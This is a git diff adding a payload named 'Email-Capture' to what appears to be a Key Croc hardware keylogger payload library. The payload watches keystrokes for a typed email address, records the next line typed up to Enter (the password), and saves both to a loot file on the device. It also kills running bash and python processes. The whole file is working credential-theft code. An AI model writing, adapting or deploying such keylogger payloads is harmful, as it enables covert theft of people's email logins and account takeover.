diff --git a/payloads/library/credentials/ Email-Capture/Email_Capture.txt b/payloads/library/credentials/ Email-Capture/Email_Capture.txt new file mode 100644 index 0000000..0e4ac67 --- /dev/null +++ b/payloads/library/credentials/ Email-Capture/Email_Capture.txt @@ -0,0 +1,36 @@ +# Title: Email-Capture +# Description: Capture target E-mail address & password save to /udisk/tools/target_email.txt +# Author: Spywill +# Version: 1.1 +# Category: Key Croc + +MATCH (^[a-zA-Z0-9_\-\.]+@[a-zA-Z0-9_\-\.]+\.[a-zA-Z]{3,5}$) + +pattern='^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{3,5})$' + +EMAIL_PASS() { + until [ -f /tmp/target_email_pw.txt.filtered ]; do + : + done + LED G + cat /tmp/target_email_pw.txt.filtered >> /root/udisk/tools/target_email.txt + rm /tmp/target_email_pw.txt /tmp/target_email_pw.txt.filtered + LED OFF + RELOAD_PAYLOADS +} + +if [[ "$LOOT" =~ $pattern ]]; then + LED B + echo "$LOOT" >> /root/udisk/tools/target_email.txt +else + LED R + killall -9 bash + killall -9 python + sleep 1 + LED OFF + RELOAD_PAYLOADS +fi + +SAVEKEYS /tmp/target_email_pw.txt UNTIL ENTER +LED OFF +EMAIL_PASS